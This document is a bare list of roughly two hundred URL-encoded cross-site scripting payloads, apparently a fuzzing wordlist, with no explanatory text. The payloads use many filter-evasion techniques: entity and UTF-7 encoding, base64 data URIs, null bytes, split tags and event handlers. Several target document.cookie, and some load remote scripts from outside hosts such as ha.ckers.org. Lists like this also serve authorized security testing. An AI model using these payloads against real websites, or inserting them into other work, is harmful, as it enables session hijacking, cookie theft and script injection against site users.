%3cform%3e%3cbutton%20formaction%3d%22javascript%3aalert(123)%22%3ecrosssitespt
%3cform%20id%3d%22test%22%20%2f%3e%3cbutton%20form%3d%22test%22%20formaction%3d%22javascript%3aalert(123)%22%3eTESTHTML5FORMACTION
%3cframeset%20onload%3dalert(123)%3e
%3cstyle%3e%3cimg%20src%3d%22%3c%2fstyle%3e%3cimg%20src%3dx%20onerror%3dalert(123)%2f%2f%22%3e
%3c!--%3cimg%20src%3d%22--%3e%3cimg%20src%3dx%20onerror%3dalert(123)%2f%2f%22%3e
%3cembed%20src%3d%22data%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%3d%3d%22%3e
%3cobject%20data%3d%22data%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%3d%3d%22%3e
%3c%3f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c!%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c%2f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3cscript%3e(%7b0%3a#0%3dalert%2f#0#%2f#0#(123)%7d)%3c%2fscript%3e
%3cscript%3eReferenceError%2eprototype%2e__defineGetter__('name',%20function()%7balert(123)%7d),x%3c%2fscript%3e
%3cscript%20src%3d%22#%22%3e%7balert(1)%7d%3c%2fscript%3e%3b1
%3csvg%20xmlns%3d%22#%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%3c%2fsvg%3e
%3csvg%20onload%3d%22javascript%3aalert(123)%22%20xmlns%3d%22#%22%3e%3c%2fsvg%3e
%3cscript%3eObject%2e__noSuchMethod__%20%3d%20Function,[%7b%7d][0]%2econstructor%2e_('alert(1)')()%3c%2fscript%3e
%3ciframe%20xmlns%3d%22#%22%20src%3d%22javascript%3aalert(1)%22%3e%3c%2fiframe%3e
%3cscript%3ecrypto%2egenerateCRMFRequest('CN%3d0',0,0,null,'alert(1)',384,null,'rsa-dual-use')%3c%2fscript%3e
%3cembed%20src%3d%22javascript%3aalert(1)%22%3e
%2BACIAPgA8-script%2BAD4-alert%28document%2elocation%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document%2ecookie)%253c%2fscript%253e
%2bACIAPgA8-script%2bAD4-alert(document%2elocation)%2bADw-%2fscript%2bAD4APAAi-
�%3e%3cs�%2b�cript%3ealert(document%2ecookie)%3c%2fscript%3e
%2BADw-script%2bAD4-alert(document%2elocation)%2BADw-%2fscript%2BAD4-
�%3e%3cScRiPt%3ealert(document%2ecookie)%3c%2fscript%3e
�%3e%3c%3cscript%3ealert(document%2ecookie)%3b%2f%2f%3c%3c%2fscript%3e
%2bADw-script%2bAD4-alert(document%2elocation)%2bADw-%2fscript%2bAD4-
%3cscr%3cscript%3eipt%3ealert(document%2ecookie)%3c%2fscr%3c%2fscript%3eipt%3e
%22%2f%3E%3CBODY%20onload%3d�document%2ewrite(%22%3Cs%22%2b%22cript%20src%3dhttp%3a%2f%2fmy%2ebox%2ecom%2fxss%2ejs%3E%3C%2fscript%3E%22)�%3E
�%3b%20alert(document%2ecookie)%3b%20var%20foo%3d�
%3c%2fscript%3e%3cscript%20%3ealert(document%2ecookie)%3c%2fscript%3e
%3cimg%20src%3dasdf%20onerror%3dalert(document%2ecookie)%3e
foo%3cscript%3ealert(document%2ecookie)%3c%2fscript%3e
%3cBODY%20ONLOAD%3dalert(�XSS�)%3e
%3cscript%3ealert(1)%3c%2fscript%3e
%22%3e%3cscript%3ealert(String%2efromCharCode(66,%20108,%2065,%2099,%2075,%2073,%2099,%20101))%3c%2fscript%3e
%3cvideo%20src%3d1%20onerror%3dalert(1)%3e
%3caudio%20src%3d1%20onerror%3dalert(1)%3e
foo%5c�%3b%20alert(document%2ecookie)%3b%2f%2f�%3b
hello1
%3cscript%3ealert(123)%3b%3c%2fscript%3e
%3cScRipT%3ealert(%22XSS%22)%3b%3c%2fScRipT%3e
%3cscript%3ealert(�XSS�)%3c%2fscript%3e%20
%3cscript%3ealert(%22hellox%20worldss%22)%3b%3c%2fscript%3e
%3cscript%3ealert(�XSS�)%3b%3c%2fscript%3e
�%3e%3cscript%3ealert(�XSS�)%3c%2fscript%3e
%3cscript%3ealert(�XSS�)%3c%2fscript%3e
%3cscript%3ealert(%2fXSS�)%3c%2fscript%3e
%3cscript%3ealert(%2fXSS%2f)%3c%2fscript%3e
�%3b%20alert(1)%3b
�)alert(1)%3b%2f%2f
%3cscript%3ealert(123)%3c%2fscript%3e
%3cIMG%20SRC%3djAVasCrIPt%3aalert(�XSS�)%3e
%3cScRiPt%3ealert(1)%3c%2fsCriPt%3e
%3cIMG%20SRC%3d�javascript%3aalert(�XSS�)%3b�%3e
%3cIMG%20SRC%3djavascript%3aalert(%26quot%3bXSS%26quot%3b)%3e
%3cIMG%20SRC%3djavascript%3aalert(�XSS�)%3e%20%20%20%20%20%20
%3c%2fscript%3e%3cscript%3ealert(1)%3c%2fscript%3e
%3ciframe%20%00%20src%3d%22%26Tab%3bjavascript%3aprompt(1)%26Tab%3b%22%00%3e
%3csvg%3e%3cstyle%3e%7bfont-family%26colon%3b'%3ciframe%2fonload%3dconfirm(1)%3e'
%3csVg%3e%3cscRipt%20%00%3ealert%26lpar%3b1%26rpar%3b%20%7bOpera%7d
%3cinput%2fonmouseover%3d%22javaSCRIPT%26colon%3bconfirm%26lpar%3b1%26rpar%3b%22
%3cimg%2fsrc%3d%60%00%60%20onerror%3dthis%2eonerror%3dconfirm(1)
%3cimg%20src%3d%60%00%60%26NewLine%3b%20onerror%3dalert(1)%26NewLine%3b
%3cScRipT%205-0%2a3%2b9%2f3%3d%3eprompt(1)%3c%2fScRipT%20giveanswerhere%3d%3f
%3cscript%2f%26Tab%3b%20src%3d'https%3a%2f%2fdl%2edropbox%2ecom%2fu%2f13018058%2fjs%2ejs'%20%2f%26Tab%3b%3e%3c%2fscript%3e
%3ciframe%2fsrc%3d%22data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d%22%3e
%26#34%3b%26#62%3b%3ch1%2fonmouseover%3d'%5cu0061lert(1)'%3e%00
%3cimg%20src%3dxss%20onerror%3dalert(1)%3e
%3cscript%20%2f%2a%00%2a%2f%3e%2f%2a%00%2a%2falert(1)%2f%2a%00%2a%2f%3c%2fscript%20%2f%2a%00%2a%2f
%3ciframe%2fsrc%3d%22data%3atext%2fhtml,%3csvg%20%26#111%3b%26#110%3bload%3dalert(1)%3e%22%3e
%3cmeta%20content%3d%22%26NewLine%3b%201%20%26NewLine%3b%3b%20JAVASCRIPT%26colon%3b%20alert(1)%22%20http-equiv%3d%22refresh%22%2f%3e
%3csvg%3e%3cscript%20x%3ahref%3d'https%3a%2f%2fdl%2edropbox%2ecom%2fu%2f13018058%2fjs%2ejs'%20%7bOpera%7d
%3csvg%3e%3cscript%20xlink%3ahref%3ddata%26colon%3b,window%2eopen('https%3a%2f%2fwww%2egoogle%2ecom%2f')%3e%3c%2fscript
%3cmeta%20http-equiv%3d%22refresh%22%20content%3d%220%3burl%3djavascript%3aconfirm(1)%22%3e
%3cform%3e%3cisindex%20formaction%3d%22javascript%26colon%3bconfirm(1)%22
%3c%2fscript%3e%3cimg%2f%2a%00%2fsrc%3d%22worksinchrome%26colon%3bprompt%26#x28%3b1%26#x29%3b%22%2f%00%2a%2fonerror%3d'eval(src)'%3e
%3cimg%2f%26#09%3b%26#10%3b%26#11%3b%20src%3d%60~%60%20onerror%3dprompt(1)%3e
%3cform%3e%3ciframe%20%26#09%3b%26#10%3b%26#11%3b%20src%3d%22javascript%26#58%3balert(1)%22%26#11%3b%26#10%3b%26#09%3b%3b%3e
%3ca%20href%3d%22data%3aapplication%2fx-x509-user-cert%3b%26NewLine%3bbase64%26NewLine%3b,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%3d%3d%22%26#09%3b%26#10%3b%26#11%3b%3eX%3c%2fa
http%3a%2f%2fwww%2egoogle%3cscript%20%2ecom%3ealert(document%2elocation)%3c%2fscript
%3cimg%2fsrc%3d@%26#32%3b%26#13%3b%20onerror%20%3d%20prompt('%26#49%3b')
%3cstyle%2fonload%3dprompt%26#40%3b'%26#88%3b%26#83%3b%26#83%3b'%26#41%3b
%3cform%3e%3ca%20href%3d%22javascript%3a%5cu0061lert%26#x28%3b1%26#x29%3b%22%3eX
%3ciframe%20src%3djavascript%26colon%3balert%26lpar%3bdocument%26period%3blocation%26rpar%3b%3e
%26#00%3b%3c%2fform%3e%3cinput%20type%26#61%3b%22date%22%20onfocus%3d%22alert(1)%22%3e
%3c%2fstyle%20%26#32%3b%3e%3cscript%20%26#32%3b%20%3a-(%3e%2f%2a%2a%2falert(document%2elocation)%2f%2a%2a%2f%3c%2fscript%20%26#32%3b%20%3a-(
%3cscript%20%2f%2a%2a%2a%2f%3e%2f%2a%2a%2a%2fconfirm('%5cuFF41%5cuFF4C%5cuFF45%5cuFF52%5cuFF54%5cu1455%5cuFF11%5cu1450')%2f%2a%2a%2a%2f%3c%2fscript%20%2f%2a%2a%2a%2f
%3ciframe%20srcdoc%3d'%26lt%3bbody%20onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'%3e
%3ca%26#32%3bhref%26#61%3b%26#91%3b%26#00%3b%26#93%3b%22%26#00%3b%20onmouseover%3dprompt%26#40%3b1%26#41%3b%26#47%3b%26#47%3b%22%3eXYZ%3c%2fa
%3cscript%20~~~%3ealert(0%0)%3c%2fscript%20~~~%3e
%3ca%20href%3d%22javascript%3avoid(0)%22%20onmouseover%3d%26NewLine%3bjavascript%3aalert(1)%26NewLine%3b%3eX%3c%2fa%3e
%3c%2f%2f%2fstyle%2f%2f%2f%3e%3cspan%20%2F%20onmousemove%3d'alert%26lpar%3b1%26rpar%3b'%3eSPAN
%3cscript%20%5e__%5e%3ealert(String%2efromCharCode(49))%3c%2fscript%20%5e__%5e
%3cstyle%2fonload%3d%26lt%3b!--%26#09%3b%26gt%3b%26#10%3balert%26#10%3b%26lpar%3b1%26rpar%3b%3e
%26#34%3b%26#62%3b%3csvg%3e%3cstyle%3e%7b-o-link-source%26colon%3b'%3cbody%2fonload%3dconfirm(1)%3e'
%3cform%3e%3ctextarea%20%26#13%3b%20onkeyup%3d'%5cu0061%5cu006C%5cu0065%5cu0072%5cu0074%26#x28%3b1%26#x29%3b'%3e
%26#13%3b%3cblink%2f%26#13%3b%20onmouseover%3dpr%26#x6F%3bmp%26#116%3b(1)%3eOnMouseOver%20%7bFirefox%20%26%20Opera%7d
%3cmarquee%20onstart%3d'javascript%3aalert%26#x28%3b1%26#x29%3b'%3e%5e__%5e
%3cdiv%2fstyle%3d%22width%3aexpression(confirm(1))%22%3eX%3c%2fdiv%3e%20%7bIE7%7d
%3ciframe%2f%00%2f%20src%3djavaSCRIPT%26colon%3balert(1)
%2f%2f%3cform%2faction%3djavascript%26#x3A%3balert%26lpar%3bdocument%26period%3bcookie%26rpar%3b%3e%3cinput%2ftype%3d'submit'%3e%2f%2f
%2f%2aiframe%2fsrc%2a%2f%3ciframe%2fsrc%3d%22%3ciframe%2fsrc%3d@%22%2fonload%3dprompt(1)%20%2f%2aiframe%2fsrc%2a%2f%3e
%2f%2f%7c%5c%5c%20%3cscript%20%2f%2f%7c%5c%5c%20src%3d'https%3a%2f%2fdl%2edropbox%2ecom%2fu%2f13018058%2fjs%2ejs'%3e%20%2f%2f%7c%5c%5c%20%3c%2fscript%20%2f%2f%7c%5c%5c
%3cimg%2fsrc%3d'http%3a%2f%2fi%2eimgur%2ecom%2fP8mL8%2ejpg'%20onmouseover%3d%26Tab%3bprompt(1)
%3c%2fplaintext%5c%3e%3c%2f%7c%5c%3e%3cplaintext%2fonmouseover%3dprompt(1)
%3c%2fsvg%3e''%3csvg%3e%3cscript%20'AQuickBrownFoxJumpsOverTheLazyDog'%3ealert%26#x28%3b1%26#x29%3b%20%7bOpera%7d
%3ca%20href%3d%22javascript%26colon%3b%5cu0061%26#x6C%3b%26#101%72t%26lpar%3b1%26rpar%3b%22%3e%3cbutton%3e
%3cdiv%20onmouseover%3d'alert%26lpar%3b1%26rpar%3b'%3eDIV%3c%2fdiv%3e
%3ciframe%20style%3d%22xg-p%3aabsolute%3btop%3a0%3bleft%3a0%3bwidth%3a100%%3bheight%3a100%%22%20onmouseover%3d%22prompt(1)%22%3e
%3ca%2fhref%3d%22javascript%3a%26#13%3b%20javascript%3aprompt(1)%22%3e%3cinput%20type%3d%22X%22%3e
%3ca%20href%3d%22jAvAsCrIpT%26colon%3balert%26lpar%3b1%26rpar%3b%22%3eX%3c%2fa%3e
%3c%2ffont%3e%2f%3csvg%3e%3cstyle%3e%7bsrc%26#x3A%3b'%3cstyle%2fonload%3dthis%2eonload%3dconfirm(1)%3e'%3c%2ffont%3e%2f%3c%2fstyle%3e
%3cembed%20src%3d%22http%3a%2f%2fcorkami%2egooglecode%2ecom%2fsvn%2f!svn%2fbc%2f480%2ftrunk%2fmisc%2fpdf%2fhelloworld_js_X%2epdf%22%3e
%3cobject%20data%3d%22http%3a%2f%2fcorkami%2egooglecode%2ecom%2fsvn%2f!svn%2fbc%2f480%2ftrunk%2fmisc%2fpdf%2fhelloworld_js_X%2epdf%22%3e
%3cvar%20onmouseover%3d%22prompt(1)%22%3eOn%20Mouse%20Over%3c%2fvar%3e
%3cimg%20src%3d%22%2f%22%20%3d_%3d%22%20title%3d%22onerror%3d'prompt(1)'%22%3e
%3c%%3c!--'%%3e%3cscript%3ealert(1)%3b%3c%2fscript%20--%3e
%3ca%20href%3djavascript%26colon%3balert%26lpar%3bdocument%26period%3bcookie%26rpar%3b%3eClick%20Here%3c%2fa%3e
%3cscript%20src%3d%22data%3atext%2fjavascript,alert(1)%22%3e%3c%2fscript%3e
%3ciframe%2fsrc%20%5c%2f%5c%2fonload%20%3d%20prompt(1)
%3ciframe%2fonreadystatechange%3dalert(1)
%3csvg%2fonload%3dalert(1)
%3cinput%20value%3d%3c%3e%3ciframe%2fsrc%3djavascript%3aconfirm(1)
http%3a%2f%2fwww%2e%3cscript%3ealert(1)%3c%2fscript%20%2ecom
%3csvg%3e%3cscript%20%3f%3ealert(1)
%3ciframe%20src%3dj%26Tab%3ba%26Tab%3bv%26Tab%3ba%26Tab%3bs%26Tab%3bc%26Tab%3br%26Tab%3bi%26Tab%3bp%26Tab%3bt%26Tab%3b%3aa%26Tab%3bl%26Tab%3be%26Tab%3br%26Tab%3bt%26Tab%3b%28%26Tab%3b1%26Tab%3b%29%3e%3c%2fiframe%3e
%3cimg%20src%3d%60xx%3axx%60onerror%3dalert(1)%3e
%3cmeta%20http-equiv%3d%22refresh%22%20content%3d%220%3bjavascript%26colon%3balert(1)%22%2f%3e
%3cinput%20type%3d%22text%22%20value%3d%60%60%20%3cdiv%2fonmouseover%3d'alert(1)'%3eX%3c%2fdiv%3e
%3cmath%3e%3ca%20xlink%3ahref%3d%22%2f%2fjsfiddle%2enet%2ft846h%2f%22%3eclick
%3cembed%20code%3d%22http%3a%2f%2fbusinessinfo%2eco%2euk%2flabs%2fxss%2fxss%2eswf%22%20allowscriptaccess%3dalways%3e
%3csvg%20contentScriptType%3dtext%2fvbs%3e%3cscript%3eMsgBox%2b1
%3ca%20href%3d%22data%3atext%2fhtml%3bbase64_,%3csvg%2fonload%3d%5cu0061%26#x6C%3b%26#101%72t(1)%3e%22%3eX%3c%2fa
%3cscript%3e~'%5cu0061'%20%3b%20%5cu0074%5cu0068%5cu0072%5cu006F%5cu0077%20~%20%5cu0074%5cu0068%5cu0069%5cu0073%2e%20%5cu0061%5cu006C%5cu0065%5cu0072%5cu0074(~'%5cu0061')%3c%2fscript%20U%2b
%3ciframe%2fonreadystatechange%3d%5cu0061%5cu006C%5cu0065%5cu0072%5cu0074('%5cu0061')%20worksinIE%3e
%3cscript%2fsrc%3d%22data%26colon%3btext%2Fj%5cu0061v%5cu0061script,%5cu0061lert('%5cu0061')%22%3e%3c%2fscript%20a%3d%5cu0061%20%26%20%2f%3d%2F
%3cscript%2fsrc%3ddata%26colon%3btext%2fj%5cu0061v%5cu0061%26#115%26#99%26#114%26#105%26#112%26#116,%5cu0061%6C%65%72%74(%2fXSS%2f)%3e%3c%2fscript
%3cscript%3e%2b-%2b-1-%2b-%2balert(1)%3c%2fscript%3e
%3cobject%20data%3djavascript%26colon%3b%5cu0061%26#x6C%3b%26#101%72t(1)%3e
%3cbody%2fonload%3d%26lt%3b!--%26gt%3b%26#10alert(1)%3e
%3cscript%20itworksinallbrowsers%3e%2f%2a%3cscript%2a%20%2a%2falert(1)%3c%2fscript
%3cimg%20src%20%3fitworksonchrome%3f%5c%2fonerror%20%3d%20alert(1)
%3csvg%3e%3cscript%20onlypossibleinopera%3a-)%3e%20alert(1)
%3csvg%3e%3cscript%3e%2f%2f%26NewLine%3bconfirm(1)%3b%3c%2fscript%20%3c%2fsvg%3e
%3ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20aaaaaaaaa%20aaaaaaaaaa%20href%3dj%26#97v%26#97script%26#x3A%3b%26#97lert(1)%3eClickMe
%3cscript%20x%3e%20alert(1)%20%3c%2fscript%201%3d2
%3cdiv%2fonmouseover%3d'alert(1)'%3e%20style%3d%22x%3a%22%3e
%3cscript%2fsrc%3d%26#100%26#97%26#116%26#97%3atext%2f%26#x6a%26#x61%26#x76%26#x61%26#x73%26#x63%26#x72%26#x69%26#x000070%26#x074,%26#x0061%3b%26#x06c%3b%26#x0065%3b%26#x00000072%3b%26#x00074%3b(1)%3e%3c%2fscript%3e
%3cdiv%20style%3d%22xg-p%3aabsolute%3btop%3a0%3bleft%3a0%3bwidth%3a100%%3bheight%3a100%%22%20onmouseover%3d%22prompt(1)%22%20onclick%3d%22alert(1)%22%3ex%3c%2fbutton%3e
%22%3e%3cimg%20src%3dx%20onerror%3dwindow%2eopen('https%3a%2f%2fwww%2egoogle%2ecom%2f')%3b%3e
%3cmath%3e%3ca%20xlink%3ahref%3d%22%2f%2fjsfiddle%2enet%2ft846h%2f%22%3eclick
%3cform%3e%3cbutton%20formaction%3djavascript%26colon%3balert(1)%3eCLICKME
%3c--%60%3cimg%2fsrc%3d%60%20onerror%3dalert(1)%3e%20--!%3e
%3cobject%20data%3ddata%3atext%2fhtml%3bbase64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik%2b%3e%3c%2fobject%3e
%3ciframe%20src%3d%22data%3atext%2fhtml,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E%22%3e%3c%2fiframe%3e
%3cSCRIPT%3eString%2efromCharCode(97,%20108,%20101,%20114,%20116,%2040,%2049,%2041)%3c%2fSCRIPT%3e
%3cIMG%20���%3e%3cSCRIPT%3ealert(�XSS�)%3c%2fSCRIPT%3e�%3e
%3cIMG%20SRC%3djavascript%3aalert(String%2efromCharCode(88,83,83))%3e
%3cIMG%20SRC%3d�jav%20ascript%3aalert(�XSS�)%3b�%3e
%3c%3cSCRIPT%3ealert(�XSS�)%3b%2f%2f%3c%3c%2fSCRIPT%3e
%253cscript%253ealert(1)%253c%2fscript%253e
foo%3cscript%3ealert(1)%3c%2fscript%3e
�%3e%3cs�%2b�cript%3ealert(document%2ecookie)%3c%2fscript%3e
%3cscr%3cscript%3eipt%3ealert(1)%3c%2fscr%3c%2fscript%3eipt%3e
%3cIMG%20SRC%3d�jav%26#x09%3bascript%3aalert(�XSS�)%3b�%3e
%3cIMG%20SRC%3d%26#106%3b%26#97%3b%26#118%3b%26#97%3b%26#115%3b%26#99%3b%26#114%3b%26#105%3b%26#112%3b%26#116%3b%26#58%3b%26#97%3b%26#108%3b%26#101%3b%26#114%3b%26#116%3b%26#40%3b%26#39%3b%26#88%3b%26#83%3b%26#83%3b%26#39%3b%26#41%3b%3e
%3cBODY%20BACKGROUND%3d�javascript%3aalert(�XSS�)�%3e
%3cIMG%20SRC%3d%26#x6A%26#x61%26#x76%26#x61%26#x73%26#x63%26#x72%26#x69%26#x70%26#x74%26#x3A%26#x61%26#x6C%26#x65%26#x72%26#x74%26#x28%26#x27%26#x58%26#x53%26#x53%26#x27%26#x29%3e
%3cBODY%20ONLOAD%3dalert(�XSS�)%3e
%3cIMG%20SRC%3d�javascript%3aalert(�XSS�)�
%3cINPUT%20TYPE%3d�IMAGE�%20SRC%3d�javascript%3aalert(�XSS�)%3b�%3e
%3ciframe%20src%3dhttp%3a%2f%2fha%2eckers%2eorg%2fscriptlet%2ehtml%20%3c
%3cimg%20src%3d%22javascript%3aalert('XSS')%3b%22%3e
%3cimg%20src%3djavascript%3aalert(%26quot%3bXSS%26quot%3b)%3e
javascript%3aalert(%22hellox%20worldss%22)
%3cSCRIPT%20a%3d%22%3e%22%20''%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%20a%3d%22%3e'%3e%22%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cMETA%20HTTP-EQUIV%3d%22refresh%22%20CONTENT%3d%220%3burl%3ddata%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K%22%3e
%3cSCRIPT%20a%3d%22%3e%22%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%3edocument%2ewrite(%22%3cSCRI%22)%3b%3c%2fSCRIPT%3ePT%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3c%3cSCRIPT%3ealert(%22XSS%22)%3b%2f%2f%3c%3c%2fSCRIPT%3e
%3cscript%3ealert(%22hellox%20worldss%22)%3c%2fscript%3e%26safe%3dhigh%26cx%3d006665157904466893121%3asu_tzknyxug%26cof%3dFORID%3a9#510
%3cIFRAME%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e%3c%2fIFRAME%3e
%3cscript%3ealert(%22XSS%22)%3b%3c%2fscript%3e%26search%3d1
%3ch1%3e%3cfont%20color%3dblue%3ehellox%20worldss%3c%2fh1%3e
%3cinput%20onfocus%3dwrite(XSS)%20autofocus%3e
%3cbody%20onscroll%3dalert(XSS)%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%2e%2e%2e%3cbr%3e%3cbr%3e%3cbr%3e%3cbr%3e%3cinput%20autofocus%3e
%3cSCRIPT%20%22a%3d'%3e'%22%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cform%3e%3cbutton%20formaction%3d%22javascript%3aalert(XSS)%22%3elol
%3c!--%3cimg%20src%3d%22--%3e%3cimg%20src%3dx%20onerror%3dalert(XSS)%2f%2f%22%3e
%3cBODY%20ONLOAD%3dalert('hellox%20worldss')%3e
%3cinput%20onblur%3dwrite(XSS)%20autofocus%3e%3cinput%20autofocus%3e
%3c%3f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c!%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3cstyle%3e%3cimg%20src%3d%22%3c%2fstyle%3e%3cimg%20src%3dx%20onerror%3dalert(XSS)%2f%2f%22%3e
%3c%2f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c%3f%20foo%3d%22%3e%3cx%20foo%3d'%3f%3e%3cscript%3ealert(1)%3c%2fscript%3e'%3e%22%3e
%3c!%20foo%3d%22[[[Inception]]%22%3e%3cx%20foo%3d%22]foo%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3c%%20foo%3e%3cx%20foo%3d%22%%3e%3cscript%3ealert(123)%3c%2fscript%3e%22%3e
%3cdiv%20style%3d%22font-family%3a'foo%26#10%3b%3bcolor%3ared%3b'%3b%22%3eLOL
%3c![%3e%3cimg%20src%3d%22]%3e%3cimg%20src%3dx%20onerror%3dalert(XSS)%2f%2f%22%3e
LOL%3cstyle%3e%2a%7b%2f%2aall%2a%2fcolor%2f%2aall%2a%2f%3a%2f%2aall%2a%2fred%2f%2aall%2a%2f%3b%2f[0]%2aIE,Safari%2a[0]%2fcolor%3agreen%3bcolor%3abl%2f%2aIE%2a%2fue%3b%7d%3c%2fstyle%3e
%3cscript%3e(%7b0%3a#0%3dalert%2f#0#%2f#0#(0)%7d)%3c%2fscript%3e
%26lt%3bSCRIPT%26gt%3balert(%2fXSS%2f%26#46%3bsource)%26lt%3b%2fSCRIPT%26gt%3b
%5c%5c%22%3balert('XSS')%3b%2f%2f
%26lt%3b%2fTITLE%26gt%3b%26lt%3bSCRIPT%26gt%3balert(%5c%22XSS%5c%22)%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bBODY%20BACKGROUND%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bBODY%20ONLOAD%3dalert('XSS')%26gt%3b
%3csvg%20xmlns%3d%22http%3a%2f%2fwww%2ew3%2eorg%2f2000%2fsvg%22%3eLOL%3cscript%3ealert(123)%3c%2fscript%3e%3c%2fsvg%3e
%26lt%3bINPUT%20TYPE%3d%5c%22IMAGE%5c%22%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20LOWSRC%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bIMG%20DYNSRC%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bBGSOUND%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bLINK%20REL%3d%5c%22stylesheet%5c%22%20HREF%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bLINK%20REL%3d%5c%22stylesheet%5c%22%20HREF%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bcss%5c%22%26gt%3b
%26lt%3bSTYLE%26gt%3b@import'http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bcss'%3b%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bBR%20SIZE%3d%5c%22%26%7balert('XSS')%7d%5c%22%26gt%3b
%26lt%3bLAYER%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fscriptlet%26#46%3bhtml%5c%22%26gt%3b%26lt%3b%2fLAYER%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22Link%5c%22%20Content%3d%5c%22%26lt%3bhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bcss%26gt%3b%3b%20REL%3dstylesheet%5c%22%26gt%3b
%26lt%3bSTYLE%26gt%3bBODY%7b-moz-binding%26#58%3burl(%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxssmoz%26#46%3bxml#xss%5c%22)%7d%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bSTYLE%26gt%3bli%20%7blist-style-image%26#58%3b%20url(%5c%22javascript%26#058%3balert('XSS')%5c%22)%3b%7d%26lt%3b%2fSTYLE%26gt%3b%26lt%3bUL%26gt%3b%26lt%3bLI%26gt%3bXSS
%26lt%3bIMG%20SRC%3d'vbscript%26#058%3bmsgbox(%5c%22XSS%5c%22)'%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22mocha%26#58%3b%26#91%3bcode%26#93%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22livescript%26#058%3b%26#91%3bcode%26#93%3b%5c%22%26gt%3b
%26lt%3bXSS%20STYLE%3d%5c%22behavior%26#58%3b%20url(xss%26#46%3bhtc)%3b%5c%22%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22refresh%5c%22%20CONTENT%3d%5c%220%3b%20URL%3dhttp%26#58%3b%2f%2f%3bURL%3djavascript%26#058%3balert('XSS')%3b%5c%22
%26lt%3bIFRAME%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b%26lt%3b%2fIFRAME%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22refresh%5c%22%20CONTENT%3d%5c%220%3burl%3djavascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22refresh%5c%22%20CONTENT%3d%5c%220%3burl%3ddata%26#58%3btext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K%5c%22%26gt%3b
%26lt%3bTABLE%20BACKGROUND%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bTABLE%26gt%3b%26lt%3bTD%20BACKGROUND%3d%5c%22javascript%26#058%3balert('XSS')%5c%22%26gt%3b
%26lt%3bFRAMESET%26gt%3b%26lt%3bFRAME%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b%26lt%3b%2fFRAMESET%26gt%3b
%26lt%3bDIV%20STYLE%3d%5c%22background-image%26#58%3b%20url(javascript%26#058%3balert('XSS'))%5c%22%26gt%3b
%26lt%3bDIV%20STYLE%3d%5c%22width%26#58%3b%20expression(alert('XSS'))%3b%5c%22%26gt%3b
